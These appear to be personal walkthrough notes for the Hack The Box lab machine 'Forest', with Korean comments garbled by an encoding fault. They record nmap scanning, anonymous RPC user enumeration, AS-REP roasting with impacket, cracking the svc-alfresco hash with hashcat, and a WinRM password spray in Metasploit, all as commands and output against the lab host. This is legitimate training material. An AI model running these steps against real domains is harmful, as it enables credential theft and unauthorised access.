Forest
Nmap
# Nmap 7.94SVN scan initiated Wed Jun 19 10:26:00 2024 as: nmap -sC -sV -p 88,135,139,389,445,464,593,636,3268,3269,5403,5985,9389,47001 -oA nmap 10.10.10.161
Nmap scan report for 10.10.10.161
Host is up (0.073s latency).
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-19 10:26:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
#smb, rpc ์ด๊ฑฐ
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
#ldap ์ด๊ฑฐ
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
#์น X
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5403/tcp closed hpoms-ci-lstn
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
#Winrm ์กด์ฌ
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 2h20m06s, deviation: 4h02m30s, median: 5s
| smb2-time:
| date: 2024-06-19T10:26:23
|_ start_date: 2024-06-19T04:15:07
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2024-06-19T03:26:21-07:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 19 10:26:25 2024 -- 1 IP address (1 host up) scanned in 24.25 seconds์ด๊ฑฐ
#smb but ์คํจ
โโโ(rootใฟkali-container-upgrade)-[~/Downloads/HTB/answer/Forest]
โโ# crackmapexec smb 10.10.10.161 -u '' -p '' --shares
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.10.10.161 445 FOREST [+] htb.local\:
SMB 10.10.10.161 445 FOREST [-] Error enumerating shares: STATUS_ACCESS_DENIED
#rpcclient but
โโ (rootใฟkali-container-upgrade)-[~/Downloads/HTB/answer/Forest]
โโ# rpcclient -U "" -N 10.10.10.161
rpcclient $> srvinfo
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomains
name:[HTB] idx:[0x0]
name:[Builtin] idx:[0x0]
rpcclient $> querydominfo
Domain: HTB
Server:
Comment:
Total Users: 106
Total Groups: 0
Total Aliases: 0
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> netshareenumall
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[zax] rid:[0x2581]
rpcclient $>
#์ ์ ๋ชฉ๋ก
Administrator
Guest
krbtgt
DefaultAccount
sebastien
lucinda
svc-alfresco
andy
mark
santi
zax
Exploit
#๋๋ฉ์ธ ์ ์ ๋ง ๊ฐ์ง๊ณ ์์ ๊ฒฝ์ฐ ASREP Roasting ๊ณต๊ฒฉ ๊ฐ๋ฅ
โโโ(rootใฟkali-container-upgrade)-[~/Downloads/HTB/answer/Forest]
โโ# for user in $(cat user); do ~/tools/impacket/GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done
[*] Getting TGT for Administrator
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB:a9a1e087ad256a43a73abdeb516366fe$c3a457f6f283b8a4719b724eb1ec83a61c3cfd3f6c80a1ec940bf54e4dd5516e4c8489b8250c674166da3a88450f37f75191224ac831705e5635300c7a49c2b477da7d83515cbcc3ce93ffe2108e83728c9e9c5756293edbcb993fdc5d6a39630a531e97567564183219ac546241c7a36176f84e65cacdf46faba378b81cf8f565a1b6383de9142c37d293f007408761704dcb787b556a4af6c59edb2a9275a62a332b529348d4bd50e205e781a0a5b6a612fcde6919f9edb166f0046f6d5f685909c7c560de2c808771c9a927a0be456284187bff7f04b5b3b6d636ac2e0fb7
โโโ(rootใฟkali-container-upgrade)-[~/Downloads/HTB/answer/Forest]
โโ# hashcat -m 18200 hash ~/tools/rockyou.txt --force
$krb5asrep$23$svc-alfresco@HTB:a9a1e087ad256a43a73abdeb516366fe$c3a457f6f283b8a4719b724eb1ec83a61c3cfd3f6c80a1ec940bf54e4dd5516e4c8489b8250c674166da3a88450f37f75191224ac831705e5635300c7a49c2b477da7d83515cbcc3ce93ffe2108e83728c9e9c5756293edbcb993fdc5d6a39630a531e97567564183219ac546241c7a36176f84e65cacdf46faba378b81cf8f565a1b6383de9142c37d293f007408761704dcb787b556a4af6c59edb2a9275a62a332b529348d4bd50e205e781a0a5b6a612fcde6919f9edb166f0046f6d5f685909c7c560de2c808771c9a927a0be456284187bff7f04b5b3b6d636ac2e0fb7:s3rvice
#s3rvice
msf6 auxiliary(scanner/winrm/winrm_login) > run
^C
[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/winrm/winrm_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 10.10.10.161: - LOGIN FAILED: WORKSTATION\Administrator:s3rvice (Incorrect: )
[-] 10.10.10.161: - LOGIN FAILED: WORKSTATION\Guest:s3rvice (Incorrect: )
[-] 10.10.10.161: - LOGIN FAILED: WORKSTATION\krbtgt:s3rvice (Incorrect: )
[-] 10.10.10.161: - LOGIN FAILED: WORKSTATION\DefaultAccount:s3rvice (Incorrect: )
[-] 10.10.10.161: - LOGIN FAILED: WORKSTATION\sebastien:s3rvice (Incorrect: )
[-] 10.10.10.161: - LOGIN FAILED: WORKSTATION\lucinda:s3rvice (Incorrect: )
[+] 10.10.10.161:5985 - Login Successful: WORKSTATION\svc-alfresco:s3rvice
[-] 10.10.10.161: - LOGIN FAILED: WORKSTATION\andy:s3rvice (Incorrect: )
[-] 10.10.10.161: - LOGIN FAILED: WORKSTATION\mark:s3rvice (Incorrect: )
[-] 10.10.10.161: - LOGIN FAILED: WORKSTATION\santi:s3rvice (Incorrect: )
[-] 10.10.10.161: - LOGIN FAILED: WORKSTATION\zax:s3rvice (Incorrect: )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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